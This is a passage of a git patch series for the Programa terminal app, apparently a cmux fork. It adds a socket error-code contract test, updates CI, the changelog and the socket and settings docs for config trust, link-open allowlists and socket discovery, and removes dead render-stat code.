__name__ == "__main__": + unittest.main() diff --git a/tests_v2/ci_subset.txt b/tests_v2/ci_subset.txt index 5c91ddcf5..36c58f9af 100644 --- a/tests_v2/ci_subset.txt +++ b/tests_v2/ci_subset.txt @@ -43,3 +43,4 @@ test_terminal_close_undo.py test_mcp_server_e2e.py test_opencode_install_integration.py test_tmux_compat_matrix.py +test_socket_error_contract_sweep.py diff --git a/tests_v2/test_socket_error_contract_sweep.py b/tests_v2/test_socket_error_contract_sweep.py new file mode 100644 index 000000000..e5805f94f --- /dev/null +++ b/tests_v2/test_socket_error_contract_sweep.py @@ -0,0 +1,109 @@ +#!/usr/bin/env python3 +"""Socket error-code contract sweep (SOCK-30): typed errors, and no side effects on failure. + +Callers branch on the error code, so each case pins the code: + - workspace.close with an unknown ref -> not_found + - workspace.close on a window's last workspace -> invalid_state (workspace survives) + - notification.create_for_surface, closed surface -> not_found + - surface.focus, unknown id -> not_found, selection unchanged; malformed id -> invalid_params + - markdown.open /dev/zero (device, would never finish reading) -> invalid_params + - browser.state.load with a relative path -> invalid_params + - browser.open_split with an unparseable URL -> invalid_params +""" + +import os +import sys +import time +import uuid +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).parent)) +from programa_client import ProgramaClient, ProgramaClientError +from v2_support import must as _must + +SOCKET_PATH = os.environ.get("PROGRAMA_SOCKET", "/tmp/programa-debug.sock") + + +def _expect_code(c: ProgramaClient, code: str, method: str, params: dict) -> str: + try: + c._call(method, params) + except ProgramaClientError as error: + _must(code in str(error), f"{method} {params!r}: expected {code}, got {error}") + return str(error) + raise ProgramaClientError(f"{method} {params!r}: expected {code}, but the call succeeded") + + +def main() -> int: + for var in ("PROGRAMA_WORKSPACE_ID", "PROGRAMA_SURFACE_ID", "PROGRAMA_PANEL_ID", "PROGRAMA_TAB_ID"): + os.environ.pop(var, None) + + created_window = None + created_workspaces: list[str] = [] + with ProgramaClient(SOCKET_PATH) as c: + try: + # 2. unknown workspace ref + _expect_code(c, "not_found", "workspace.close", {"workspace_id": "workspace:999"}) + + # 3. last workspace of a window. A fresh window has exactly one workspace. + created_window = c.new_window() + time.sleep(0.5) + rows = c.list_workspaces(window_id=created_window) + _must(len(rows) == 1, f"expected a fresh window to hold 1 workspace, got {rows}") + only_ws = rows[0][1] + _expect_code(c, "invalid_state", "workspace.close", {"workspace_id": only_ws, "window_id": created_window}) + rows_after = c.list_workspaces(window_id=created_window) + _must([r[1] for r in rows_after] == [only_ws], f"last workspace must survive: {rows_after}") + c.close_window(created_window) + created_window = None + time.sleep(0.3) + + # Fixtures for the rest: a workspace with a second surface, then close that surface. + ws = c.new_workspace() + created_workspaces.append(ws) + c.select_workspace(ws) + time.sleep(0.3) + extra = c.new_split("right") + time.sleep(0.3) + c.close_surface(extra) + time.sleep(0.3) + + # 7. notify a closed surface + _expect_code(c, "not_found", "notification.create_for_surface", + {"surface_id": extra, "title": "t", "workspace_id": ws}) + + # 8. surface.focus: bad id is not_found with no selection change; malformed is invalid_params + window_before = c.current_window() + ws_before = c.current_workspace() + _expect_code(c, "not_found", "surface.focus", {"surface_id": str(uuid.uuid4())}) + _must(c.current_window() == window_before, "surface.focus failure changed the selected window") + _must(c.current_workspace() == ws_before, "surface.focus failure changed the selected workspace") + _expect_code(c, "invalid_params", "surface.focus", {"surface_id": "not-a-uuid"}) + + # 9. device file + _expect_code(c, "invalid_params", "markdown.open", {"path": "/dev/zero"}) + + # 10. relative path + _expect_code(c, "invalid_params", "browser.state.load", {"path": "relative/state.json"}) + + # 11. unparseable URL (unterminated IPv6 literal) + before = len(c.list_surfaces()) + _expect_code(c, "invalid_params", "browser.open_split", {"url": "http://[::1"}) + _must(len(c.list_surfaces()) == before, "failed browser.open_split must not create a surface") + finally: + if created_window: + try: + c.close_window(created_window) + except Exception: + pass + for w in created_workspaces: + try: + c.close_workspace(w) + except Exception: + pass + + print("PASS: socket error contract sweep") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) From 3097fb17274bae5344627c15b4ec9ce0401aac08 Mon Sep 17 00:00:00 2001 From: arzafran Date: Thu, 1 Oct 2026 12:41:45 -0300 Subject: [PATCH 09/21] fix: wire cross-cluster follow-ups and remove dead render and image-ownership code --- .github/workflows/ci.yml | 9 +++- CHANGELOG.md | 6 ++- CLI-MCP/ResourceCatalog.swift | 2 +- CLI-MCP/Tools/WorktreeTools.swift | 4 +- CLI/CLI+Tree.swift | 8 ++-- CLI/programa.swift | 2 +- Resources/Localizable.xcstrings | 17 ++++++++ Resources/settings.schema.json | 2 +- Sources/AppDelegate.swift | 5 +-- Sources/GhosttyTerminalSupport.swift | 29 ------------- Sources/GhosttyTerminalView+RenderStats.swift | 5 --- Sources/ProgramaConfigExecutor.swift | 22 +++++++--- Sources/ProgramaDirectoryTrust.swift | 11 +++++ .../TerminalController+AgentDetection.swift | 9 +++- .../TerminalController+AgentSupervision.swift | 2 + Sources/TerminalController+Debug.swift | 4 -- Sources/TerminalController+Snapshot.swift | 2 +- Sources/TerminalController+Surface.swift | 6 ++- Sources/TerminalController+Worktree.swift | 5 ++- Sources/TerminalController.swift | 13 ------ Sources/TerminalSurface.swift | 20 --------- Sources/WindowTerminalHostView.swift | 4 -- docs/settings-json.md | 2 +- docs/socket-api.md | 41 ++++++++++++++++--- programaTests/TerminalAndGhosttyTests.swift | 12 ------ tests_v2/ci_subset.txt | 2 +- tests_v2/test_mcp_server_e2e.py | 2 +- 27 files changed, 124 insertions(+), 122 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 0b4af9938..f96a7fe12 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -667,14 +667,19 @@ jobs: PROGRAMA_CLI_BIN="$CLI_BIN" python3 tests/test_cli_codex_hook_trust.py - - name: Run CLI consent and socket discovery regressions + - name: Run CLI sweep regressions if: ${{ !cancelled() && steps.cli-build.outcome == 'success' }} run: | set -euo pipefail CLI_BIN="$RUNNER_TEMP/programa-cli-regression/Debug/programa" test -x "$CLI_BIN" result=0 - for t in tests/test_cli_noninteractive_install_regression.py tests/test_cli_socket_no_autodiscovery_regression.py; do + for t in \ + tests/test_cli_noninteractive_install_regression.py \ + tests/test_cli_socket_no_autodiscovery_regression.py \ + tests/test_cli_wait_surface_agent_state.py \ + tests/test_cli_claude_settings_preservation.py \ + tests/test_shell_state_report_ordering.py; do PROGRAMA_CLI_BIN="$CLI_BIN" python3 "$t" || result=1 done exit "$result" diff --git a/CHANGELOG.md b/CHANGELOG.md index b693f9903..3d7863d76 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,6 +8,7 @@ Programa is a fork of [cmux](https://github.com/manaflow-ai/cmux); for history p ### Added - New `agent.needs_input` socket method reports a surface as blocked on the user and posts its notification in one call, instead of three separate calls that could fail independently. +- New `surface.resolve_tty` socket method finds the terminal surface for a tty without changing focus. `agent.spawn` returns the new terminal's `pane_id` and `pane_ref`, and `agent.detection.list` reports manifests it rejected in a `rejected` list. - Tab colors and the Tab Color menu in the glass tab bar; pane tabs show their color as a tinted background. - `programa wait-surface --agent-state ` waits for the agent in a surface to reach a state. - On Windows, pasting text with line breaks or control characters into a program that has not turned on bracketed paste (cmd.exe, PowerShell) asks first, with a preview. @@ -16,7 +17,10 @@ Programa is a fork of [cmux](https://github.com/manaflow-ai/cmux); for history p - Only one copy of Programa runs at a time: launching a second copy brings the running app forward and exits. - Closing a window with its red button or Close Window asks first when any of its workspaces has a running process, with the same confirmation as closing the last workspace. The socket method `window.close` still closes without asking. - Splitting a pane or opening a pane from the socket or CLI no longer moves focus; only explicit focus commands do. -- Opening another app from a web page or a terminal link asks first, per link scheme. +- Opening another app from a web page or a terminal link asks first, per link scheme. Your earlier "Always allow" choices for opening external apps are reset: the setting now stores one `bundleId|scheme` entry per choice, and bare bundle ids are ignored. +- Every trusted `programa.json` asks for approval once more after updating. Trust is now recorded per config file, and the dialog says so when a config was trusted before that change. +- `programa claude`, `codex` and `opencode` `install-integration` run without a terminal now need `--yes`. +- The CLI no longer connects to a dev, staging or tagged app's socket on its own. Point it at one with `--socket` or `PROGRAMA_SOCKET_PATH`. - A program that writes to the clipboard with OSC 52 asks before the clipboard changes. - Browser cookie methods act on the current page's site by default; `all_domains: true` widens them, and a `domain` filter matches the exact host or its subdomains only. `browser.state.save` writes its file with `0600` permissions to an absolute path and exports only the current site's cookies unless asked for more. - Socket errors are consistent: a reference that does not resolve returns `not_found` (a malformed one stays `invalid_params`), splitting a workspace that already has four panes returns `limit_reached` before anything is created, and closing a window's last workspace returns `invalid_state`. diff --git a/CLI-MCP/ResourceCatalog.swift b/CLI-MCP/ResourceCatalog.swift index 9d8816af7..f847ac207 100644 --- a/CLI-MCP/ResourceCatalog.swift +++ b/CLI-MCP/ResourceCatalog.swift @@ -16,7 +16,7 @@ import MCP /// Poll-on-read only -- no `resources/subscribe` support. Live push updates would need /// investigating whether the socket's existing `watch-events` mechanism /// (`Sources/TerminalController+Subscriptions.swift`) covers "surface text changed"; that's -/// explicitly deferred (docs/plans/mcp-server.md §3.3 stretch note), not attempted here. +/// deliberately not attempted (see docs/mcp-server.md, Resources). enum ResourceCatalog { static func register(on server: Server) async { await server.withMethodHandler(ListResources.self) { _ in diff --git a/CLI-MCP/Tools/WorktreeTools.swift b/CLI-MCP/Tools/WorktreeTools.swift index b594c95fe..b74d34ab3 100644 --- a/CLI-MCP/Tools/WorktreeTools.swift +++ b/CLI-MCP/Tools/WorktreeTools.swift @@ -25,8 +25,8 @@ enum WorktreeTools { // Deliberately whitelist keys instead of forwarding `arguments` wholesale: this // guarantees a `focus` argument can never reach the socket for this tool, even // if a caller supplies one (it is not in the schema above, but nothing stops a - // client from sending it anyway). See docs/plans/mcp-server.md and the Phase 3 - // briefing's "worktree.create is the special case" note. + // client from sending it anyway). worktree.create is the one tool where an agent must + // not be able to move the user's focus. var params: [String: Any] = [:] for key in ["repo", "branch", "base", "layout", "path", "window_id", "workspace_id", "surface_id"] { guard let value = arguments[key] else { continue } diff --git a/CLI/CLI+Tree.swift b/CLI/CLI+Tree.swift index 60bd777bc..4b913687d 100644 --- a/CLI/CLI+Tree.swift +++ b/CLI/CLI+Tree.swift @@ -41,7 +41,7 @@ extension ProgramaCLI { private func parseTreeCommandOptions(_ args: [String]) throws -> TreeCommandOptions { let (workspaceOpt, rem0) = parseOption(args, name: "--workspace") if rem0.contains("--workspace") { - throw CLIError(message: "tree requires --workspace ") + throw CLIError(message: "tree requires --workspace ") } var includeAll = false @@ -60,7 +60,7 @@ extension ProgramaCLI { } if let unknown = remaining.first(where: { $0.hasPrefix("--") }) { - throw CLIError(message: "tree: unknown flag '\(unknown)'. Known flags: --all --workspace --json") + throw CLIError(message: "tree: unknown flag '\(unknown)'. Known flags: --all --workspace --json") } if let extra = remaining.first { throw CLIError(message: "tree: unexpected argument '\(extra)'") @@ -555,7 +555,7 @@ extension ProgramaCLI { Flags: --all Include all windows (default: current window only) - --workspace Show only one workspace + --workspace Show only one workspace --json Structured JSON output Output: @@ -585,7 +585,7 @@ extension ProgramaCLI { [ CommandDescriptor( names: ["tree"], - helpLines: ["tree [--all] [--workspace ]"], + helpLines: ["tree [--all] [--workspace ]"], execute: { ctx in try self.runTreeCommand(commandArgs: ctx.commandArgs, client: ctx.client, jsonOutput: ctx.jsonOutput, idFormat: ctx.idFormat) } diff --git a/CLI/programa.swift b/CLI/programa.swift index e98d77b21..3f71b3944 100644 --- a/CLI/programa.swift +++ b/CLI/programa.swift @@ -6463,7 +6463,7 @@ struct ProgramaCLI { PROGRAMA_TAB_ID Optional alias used by `tab-action`/`rename-tab` as default --tab. PROGRAMA_SURFACE_ID Auto-set in programa terminals. Used as default --surface. PROGRAMA_SOCKET_PATH Override the Unix socket path. Without this, the CLI defaults - to ~/Library/Application Support/programa/programa.sock and auto-discovers tagged/debug sockets. + to ~/Library/Application Support/programa/programa.sock and never connects to tagged/debug sockets on its own. """ } diff --git a/Resources/Localizable.xcstrings b/Resources/Localizable.xcstrings index c5a3dc87b..55a284557 100644 --- a/Resources/Localizable.xcstrings +++ b/Resources/Localizable.xcstrings @@ -9113,6 +9113,23 @@ } } }, + "dialog.programaConfig.confirmCommand.configNeverDigested": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Programa now checks each project config file. Review this config and trust it again." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "Programa はプロジェクトの設定ファイルを個別に確認するようになりました。この設定を確認し、もう一度信頼してください。" + } + } + } + }, "dialog.programaConfig.confirmCommand.messageWithCommand": { "extractionState": "manual", "localizations": { diff --git a/Resources/settings.schema.json b/Resources/settings.schema.json index d8bc7a7b2..0d59edae6 100644 --- a/Resources/settings.schema.json +++ b/Resources/settings.schema.json @@ -381,7 +381,7 @@ "type": "string" }, "default": [], - "description": "Bundle identifiers of apps for which you chose Always allow in the external app open prompt. Links that open these apps skip the prompt." + "description": "Entries for which you chose Always allow in the external app open prompt, each written as bundleId|scheme, for example com.tinyspeck.slackmacgap|slack. Links with that scheme that open that app skip the prompt. Bare bundle identifiers are ignored." }, "insecureHttpHostsAllowedInEmbeddedBrowser": { "type": "array", diff --git a/Sources/AppDelegate.swift b/Sources/AppDelegate.swift index eba96c584..6e7cd3096 100644 --- a/Sources/AppDelegate.swift +++ b/Sources/AppDelegate.swift @@ -5422,10 +5422,7 @@ final class AppDelegate: NSObject, NSApplicationDelegate, @preconcurrency UNUser // Submit only inside a pane the agent-detection state already knows hosts an agent; // a plain shell must never receive an implicit Return. // A blocked agent is waiting on a permission or y/n prompt; never answer that with a capture. - guard let workspace, - let presence = workspace.panelAgentPresence[returnPanelId], - presence.state != .blocked, - !presence.isStale(now: Date()) else { return } + guard let workspace, workspace.canAutoSubmitToAgent(panelId: returnPanelId) else { return } terminalPanel.sendInput("\r") }) } diff --git a/Sources/GhosttyTerminalSupport.swift b/Sources/GhosttyTerminalSupport.swift index 3d0612cbe..f150d49f7 100644 --- a/Sources/GhosttyTerminalSupport.swift +++ b/Sources/GhosttyTerminalSupport.swift @@ -108,8 +108,6 @@ enum GhosttyPasteboardHelper { private static let shellEscapeCharacters = "\\ ()[]{}<>\"'`!#$&;|*?\t" private static let temporaryImageFilenamePrefix = "clipboard-" private static let objectReplacementCharacter = Character(UnicodeScalar(0xFFFC)!) - private static let temporaryImageOwnershipLock = NSLock() - private static var ownedTemporaryImagePaths: Set = [] static func pasteboard(for location: ghostty_clipboard_e) -> NSPasteboard? { switch location { @@ -415,7 +413,6 @@ enum GhosttyPasteboardHelper { return nil } - registerOwnedTemporaryImageFile(fileURL) return fileURL } @@ -470,32 +467,6 @@ enum GhosttyPasteboardHelper { } return removed } - - static func cleanupTransferredTemporaryImageFiles(_ fileURLs: [URL]) { - for fileURL in fileURLs { - let normalizedURL = fileURL.standardizedFileURL - guard normalizedURL.isFileURL, - consumeOwnedTemporaryImageFile(normalizedURL) else { - continue - } - try? FileManager.default.removeItem(at: normalizedURL) - } - } - - private static func registerOwnedTemporaryImageFile(_ fileURL: URL) { - let normalizedPath = fileURL.standardizedFileURL.path - temporaryImageOwnershipLock.lock() - ownedTemporaryImagePaths.insert(normalizedPath) - temporaryImageOwnershipLock.unlock() - } - - private static func consumeOwnedTemporaryImageFile(_ fileURL: URL) -> Bool { - let normalizedPath = fileURL.standardizedFileURL.path - temporaryImageOwnershipLock.lock() - let didOwnFile = ownedTemporaryImagePaths.remove(normalizedPath) != nil - temporaryImageOwnershipLock.unlock() - return didOwnFile - } } #if DEBUG diff --git a/Sources/GhosttyTerminalView+RenderStats.swift b/Sources/GhosttyTerminalView+RenderStats.swift index e594afe17..786b06b4b 100644 --- a/Sources/GhosttyTerminalView+RenderStats.swift +++ b/Sources/GhosttyTerminalView+RenderStats.swift @@ -25,8 +25,6 @@ extension GhosttySurfaceScrollView { struct DebugRenderStats { let drawCount: Int let lastDrawTime: CFTimeInterval - let metalDrawableCount: Int - let metalLastDrawableTime: CFTimeInterval let presentCount: Int let lastPresentTime: CFTimeInterval let layerClass: String @@ -42,7 +40,6 @@ extension GhosttySurfaceScrollView { func debugRenderStats() -> DebugRenderStats { let layerClass = surfaceView.layer.map { String(describing: type(of: $0)) } ?? "nil" - let (metalCount, metalLast) = (surfaceView.layer as? GhosttyMetalLayer)?.debugStats() ?? (0, 0) let (drawCount, lastDraw): (Int, CFTimeInterval) = surfaceView.terminalSurface.map { terminalSurface in Self.drawStats(for: terminalSurface.id) } ?? (0, 0) @@ -59,8 +56,6 @@ extension GhosttySurfaceScrollView { return DebugRenderStats( drawCount: drawCount, lastDrawTime: lastDraw, - metalDrawableCount: metalCount, - metalLastDrawableTime: metalLast, presentCount: presentCount, lastPresentTime: lastPresent, layerClass: layerClass, diff --git a/Sources/ProgramaConfigExecutor.swift b/Sources/ProgramaConfigExecutor.swift index 8a2dfce5d..bb6aad5de 100644 --- a/Sources/ProgramaConfigExecutor.swift +++ b/Sources/ProgramaConfigExecutor.swift @@ -223,6 +223,9 @@ struct ProgramaConfigExecutor { } ?? .trusted let trusted = trustState == .trusted let configChanged = trustState == .changed + let configNeverDigested = configChanged && configSourcePath.map { + !ProgramaDirectoryTrust.shared.hasRecordedDigest(configPath: $0) + } == true guard configChanged || requiresConfirmation(confirmFlag: confirmFlag, isTrusted: trusted) else { return true @@ -273,7 +276,8 @@ struct ProgramaConfigExecutor { affirmativeButtonTitle: affirmativeButtonTitle, detail: detail, configPath: offerTrust ? configSourcePath : nil, - configChanged: configChanged + configChanged: configChanged, + configNeverDigested: configNeverDigested ) } @@ -399,7 +403,8 @@ struct ProgramaConfigExecutor { affirmativeButtonTitle: String, detail: String, configPath: String?, - configChanged: Bool = false + configChanged: Bool = false, + configNeverDigested: Bool = false ) -> Bool { let alert = NSAlert() alert.messageText = title @@ -409,10 +414,15 @@ struct ProgramaConfigExecutor { // each surface on its own line. var informativeText = String(format: messageFormat, detail) if configChanged { - let changedWarning = String( - localized: "dialog.programaConfig.confirmCommand.configChanged", - defaultValue: "This folder's programa.json has changed since you trusted it." - ) + let changedWarning = configNeverDigested + ? String( + localized: "dialog.programaConfig.confirmCommand.configNeverDigested", + defaultValue: "Programa now checks each project config file. Review this config and trust it again." + ) + : String( + localized: "dialog.programaConfig.confirmCommand.configChanged", + defaultValue: "This folder's programa.json has changed since you trusted it." + ) informativeText = changedWarning + "\n\n" + informativeText } alert.informativeText = informativeText diff --git a/Sources/ProgramaDirectoryTrust.swift b/Sources/ProgramaDirectoryTrust.swift index a9656f314..e20cf059c 100644 --- a/Sources/ProgramaDirectoryTrust.swift +++ b/Sources/ProgramaDirectoryTrust.swift @@ -83,6 +83,17 @@ final class ProgramaDirectoryTrust: @unchecked Sendable { trustState(configPath: configPath, globalConfigPath: globalConfigPath) == .trusted } + /// True when a digest is recorded for this exact config file. A `.changed` config without + /// one sits under a root trusted before per-file digests existed (or was never approved + /// itself), so the user has not reviewed this file's content, as opposed to edited it. + func hasRecordedDigest(configPath: String) -> Bool { + let trustKey = Self.trustKey(for: configPath) + let configKey = Self.configKey(for: configPath) + stateLock.lock() + defer { stateLock.unlock() } + return trustedDirectories[trustKey]?[configKey] != nil + } + /// Three-state trust query. Fails closed: a root that is absent is `.untrusted`; a root that /// is present but holds no digest for this exact config, or a digest that differs, is /// `.changed`; an unreadable config is `.untrusted`. Nothing is ever adopted silently. diff --git a/Sources/TerminalController+AgentDetection.swift b/Sources/TerminalController+AgentDetection.swift index 71be2a78b..d2366b666 100644 --- a/Sources/TerminalController+AgentDetection.swift +++ b/Sources/TerminalController+AgentDetection.swift @@ -47,7 +47,14 @@ extension TerminalController { "states": states ] } - return .ok(["manifests": payloads]) + let rejected: [[String: Any]] = AgentManifestLoader.shared.rejectedManifests().map { item in + [ + "agent": item.agent, + "path": item.path, + "reason": "invalid patterns: " + item.invalidPatterns.joined(separator: ", ") + ] + } + return .ok(["manifests": payloads, "rejected": rejected]) } nonisolated func v2AgentDetectionClassify(params: [String: Any]) -> V2CallResult { diff --git a/Sources/TerminalController+AgentSupervision.swift b/Sources/TerminalController+AgentSupervision.swift index b54545a3d..269837833 100644 --- a/Sources/TerminalController+AgentSupervision.swift +++ b/Sources/TerminalController+AgentSupervision.swift @@ -385,6 +385,7 @@ extension TerminalController { let automaticTitle = agentAutomaticTitle(task: task, role: role, siblingNumber: 1) workspace.automaticAgentTitle = automaticTitle workspace.agentParentWorkspaceId = parentWorkspaceId + tabManager.canonicalizeHierarchyOrderIfNeeded() let surfaceId = workspace.focusedTerminalPanel?.id do { @@ -469,6 +470,7 @@ extension TerminalController { ) workspace.automaticAgentTitle = automaticTitle workspace.agentParentWorkspaceId = parentWorkspaceId + tabManager.canonicalizeHierarchyOrderIfNeeded() let surfaceId = workspace.focusedTerminalPanel?.id tabManager.openCompanionBrowserSplitIfEnabled(for: workspace) diff --git a/Sources/TerminalController+Debug.swift b/Sources/TerminalController+Debug.swift index 4bd6f6d9c..4a8b6fea4 100644 --- a/Sources/TerminalController+Debug.swift +++ b/Sources/TerminalController+Debug.swift @@ -980,8 +980,6 @@ extension TerminalController { let panelId: String let drawCount: Int let lastDrawTime: Double - let metalDrawableCount: Int - let metalLastDrawableTime: Double let presentCount: Int let lastPresentTime: Double let layerClass: String @@ -1022,8 +1020,6 @@ extension TerminalController { panelId: panelId.uuidString, drawCount: stats.drawCount, lastDrawTime: stats.lastDrawTime, - metalDrawableCount: stats.metalDrawableCount, - metalLastDrawableTime: stats.metalLastDrawableTime, presentCount: stats.presentCount, lastPresentTime: stats.lastPresentTime, layerClass: stats.layerClass, diff --git a/Sources/TerminalController+Snapshot.swift b/Sources/TerminalController+Snapshot.swift index 242610a38..2dc492705 100644 --- a/Sources/TerminalController+Snapshot.swift +++ b/Sources/TerminalController+Snapshot.swift @@ -33,7 +33,7 @@ extension TerminalController { if let requestedId, requestedId.lowercased() != "latest" { targetURL = entries.first { v2SnapshotHistoryId(for: $0) == requestedId } } else { - targetURL = entries.first + targetURL = SessionPersistenceStore.ownedHistoryFileURLs().first } guard let targetURL else { diff --git a/Sources/TerminalController+Surface.swift b/Sources/TerminalController+Surface.swift index e04fb579b..f15aea7ec 100644 --- a/Sources/TerminalController+Surface.swift +++ b/Sources/TerminalController+Surface.swift @@ -207,7 +207,11 @@ extension TerminalController { if panelType == .browser { newPanelId = ws.newBrowserSurface(inPane: paneId, url: url, focus: v2FocusAllowed())?.id } else { - newPanelId = ws.newTerminalSurface(inPane: paneId, focus: v2FocusAllowed())?.id + let terminalPanel = ws.newTerminalSurface(inPane: paneId, focus: v2FocusAllowed()) + // A terminal created without focus is never attached to a visible view, so start + // its shell explicitly or it would sit idle until the user selects it. + terminalPanel?.surface.requestBackgroundSurfaceStartIfNeeded() + newPanelId = terminalPanel?.id } guard let newPanelId else { diff --git a/Sources/TerminalController+Worktree.swift b/Sources/TerminalController+Worktree.swift index 254727f17..18dec80d6 100644 --- a/Sources/TerminalController+Worktree.swift +++ b/Sources/TerminalController+Worktree.swift @@ -42,6 +42,7 @@ extension TerminalController { baseDirectory: worktreeBaseDirectory ) + let branchExisted = GitWorktreeManager.branchExistsLocally(branch, repoRoot: repoRoot) switch GitWorktreeManager.add(repoRoot: repoRoot, branch: branch, base: base, path: path) { case .success(let entry): let completion = v2MainSync { @@ -58,7 +59,9 @@ extension TerminalController { if case .err(let originalCode, let originalMessage, _) = completion { switch GitWorktreeManager.remove(repoRoot: repoRoot, path: entry.path, force: false) { case .success: - break + if !branchExisted { + GitWorktreeManager.deleteBranchIfUnused(branch, repoRoot: repoRoot) + } case .worktreeNotFound, .worktreeDirty, .gitCommandFailed: return .err( code: "cleanup_failed", diff --git a/Sources/TerminalController.swift b/Sources/TerminalController.swift index 8cbbb836e..c6406d2bf 100644 --- a/Sources/TerminalController.swift +++ b/Sources/TerminalController.swift @@ -2985,19 +2985,6 @@ class TerminalController { return decoded } - func readTerminalTextForSessionSnapshot( - terminalPanel: TerminalPanel, - includeScrollback: Bool = false, - lineLimit: Int? = nil - ) -> String? { - readTerminalTextForSnapshot( - terminalPanel: terminalPanel, - includeScrollback: includeScrollback, - lineLimit: lineLimit - ) - } - - deinit { if let browserDownloadObserver { NotificationCenter.default.removeObserver(browserDownloadObserver) diff --git a/Sources/TerminalSurface.swift b/Sources/TerminalSurface.swift index ae1ff3744..e6fe882e6 100644 --- a/Sources/TerminalSurface.swift +++ b/Sources/TerminalSurface.swift @@ -40,26 +40,6 @@ struct TerminalSurfaceReviveDescriptor { var retainedDescriptor: SessionEscrowRetainedDescriptor? = nil } -final class GhosttyMetalLayer: CAMetalLayer { - private let lock = NSLock() - private var drawableCount: Int = 0 - private var lastDrawableTime: CFTimeInterval = 0 - - func debugStats() -> (count: Int, last: CFTimeInterval) { - lock.lock() - defer { lock.unlock() } - return (drawableCount, lastDrawableTime) - } - - override func nextDrawable() -> CAMetalDrawable? { - lock.lock() - drawableCount += 1 - lastDrawableTime = CACurrentMediaTime() - lock.unlock() - return super.nextDrawable() - } -} - final class TerminalSurfaceRegistry { static let shared = TerminalSurfaceRegistry() diff --git a/Sources/WindowTerminalHostView.swift b/Sources/WindowTerminalHostView.swift index 130f36761..102a9b32c 100644 --- a/Sources/WindowTerminalHostView.swift +++ b/Sources/WindowTerminalHostView.swift @@ -366,10 +366,6 @@ final class WindowTerminalHostView: NSView { return dividerCursorKind(at: windowPoint, in: rootView) != nil } - private func shouldPassThroughToSplitDivider(at point: NSPoint) -> Bool { - splitDividerCursorKind(at: point) != nil - } - private static func dividerCursorKind(at windowPoint: NSPoint, in view: NSView) -> DividerCursorKind? { guard !view.isHidden else { return nil } diff --git a/docs/settings-json.md b/docs/settings-json.md index ef8837caa..f9348baae 100644 --- a/docs/settings-json.md +++ b/docs/settings-json.md @@ -98,7 +98,7 @@ Embedded browser settings from Settings > Browser. | `hostsToOpenInEmbeddedBrowser` | array | `[]` | Allowlist of hosts that should stay inside the embedded browser. | | `urlsToAlwaysOpenExternally` | array | `[]` | Rules that always open matching URLs in the system browser. | | `externalBrowser` | string | `""` | Bundle identifier of the browser that opens http(s) links leaving Programa, for example `com.apple.Safari`. Empty uses the macOS default browser. Other URL schemes (`mailto:`, `slack://`, `file:`) keep their registered handlers. | -| `externalAppOpenAllowlist` | array | `[]` | Bundle identifiers of apps for which you chose Always allow in the external app open prompt. Links that open these apps skip the prompt. | +| `externalAppOpenAllowlist` | array | `[]` | Entries for which you chose Always allow in the external app open prompt, each written as `bundleId\|scheme`, for example `com.tinyspeck.slackmacgap\|slack`. Links with that scheme that open that app skip the prompt. Bare bundle identifiers are ignored. | | `insecureHttpHostsAllowedInEmbeddedBrowser` | array | `["localhost", "127.0.0.1", "::1", "0.0.0.0", "*.localtest.me"]` | HTTP hosts allowed in the embedded browser without a warning prompt. | | `proxy` | object | | Route the embedded browser through a proxy. Requires host and port; type defaults to socks5. | diff --git a/docs/socket-api.md b/docs/socket-api.md index 8c6996015..bf63d8b66 100644 --- a/docs/socket-api.md +++ b/docs/socket-api.md @@ -118,13 +118,12 @@ candidate that accepts a connection, then the first candidate that exists as a s 2. the requested path 3. `~/Library/Application Support/programa/programa.sock` 4. `/tmp/programa.sock` -5. `/tmp/programa-debug.sock` -6. `/tmp/programa-staging.sock` -7. the 12 most recently modified `programa*.sock` files in `/tmp` and the Application Support - `programa` folder -8. the path recorded in `last-socket-path` -If none exists, the requested path is used and the connection error names it. +If none exists, the requested path is used and the connection error names it. The client never +connects on its own to a dev (`/tmp/programa-debug.sock`), staging or tagged socket, or the one +recorded in `last-socket-path`, because a command meant for your app would land in a different +build. When such sockets are live, the CLI lists them on stderr; pass `--socket ` or set +`PROGRAMA_SOCKET_PATH` and `PROGRAMA_SOCKET` to use one. Inside a Programa terminal, both variables point at the socket of the app that hosts it, so a script run there talks to that app. To drive a different instance, such as a tagged build, set both @@ -450,6 +449,18 @@ does for child-exit) at a fixed ~100ms interval on the connection's own thread; `TerminalController+Telemetry.swift`'s `v2SurfaceReportAgentState`/`v2SurfaceClearAgentState` via `DispatchQueue.main.async`). +## `surface.resolve_tty` + +Finds the terminal surface attached to a tty, for CLI hooks that bind their caller by tty. + +| Field | Type | Required | Notes | +|---|---|---|---| +| `tty` | string | yes | A `/dev/ttysNNN` path or the bare name (`ttys004`). | + +Returns `{"workspace_id", "workspace_ref", "surface_id", "surface_ref"}` for the one matching +terminal surface. Errors: `invalid_params` when `tty` is missing or empty, `not_found` when no +terminal surface has that tty. The lookup changes no focus or selection. + ## Text delivery: `queued` `surface.send_text` and `agent.prompt` include `"queued": true` in the result when the target @@ -747,6 +758,10 @@ replaced a working bundled manifest. `states` is the full state-rule list (`buck scaffold --force` can seed a forced override from what's currently loaded instead of writing a blank manifest over a working one. +The result also carries `rejected`: manifest files that were not loaded because a pattern does +not compile, as `[{"agent", "path", "reason"}]`. It is empty when every manifest loaded, and +tells an author why their override is not active. + ### `agent.detection.classify` | Field | Type | Required | Notes | @@ -758,6 +773,14 @@ Result: `{"requested_agent", "recognized_via" ("explicit"|"screen_pattern"|null) null when nothing was recognized/classified). Errors: `not_found` (unknown `agent`), plus whatever `surface.read_text` can return for the target surface. +## `agent.spawn` + +Starts an agent in a new workspace. A nested-workspace spawn returns `agent_id`, +`workspace_id`, `workspace_ref`, `pane_id`, `pane_ref`, `surface_id`, `surface_ref`, `focused` +and `agent`; `pane_id` and `pane_ref` identify the pane hosting the spawned terminal, so +callers can target it without a separate lookup. The new workspace is created without taking +focus. + ## `agent.event` (docs/plans/agent-events.md) A normalized alternative to `surface.report_agent_state` for providers whose hooks carry more @@ -855,6 +878,12 @@ Set once per shell spawn in `Sources/TerminalSurface.swift`, alongside the other the raw bundle identifier, resolved via one 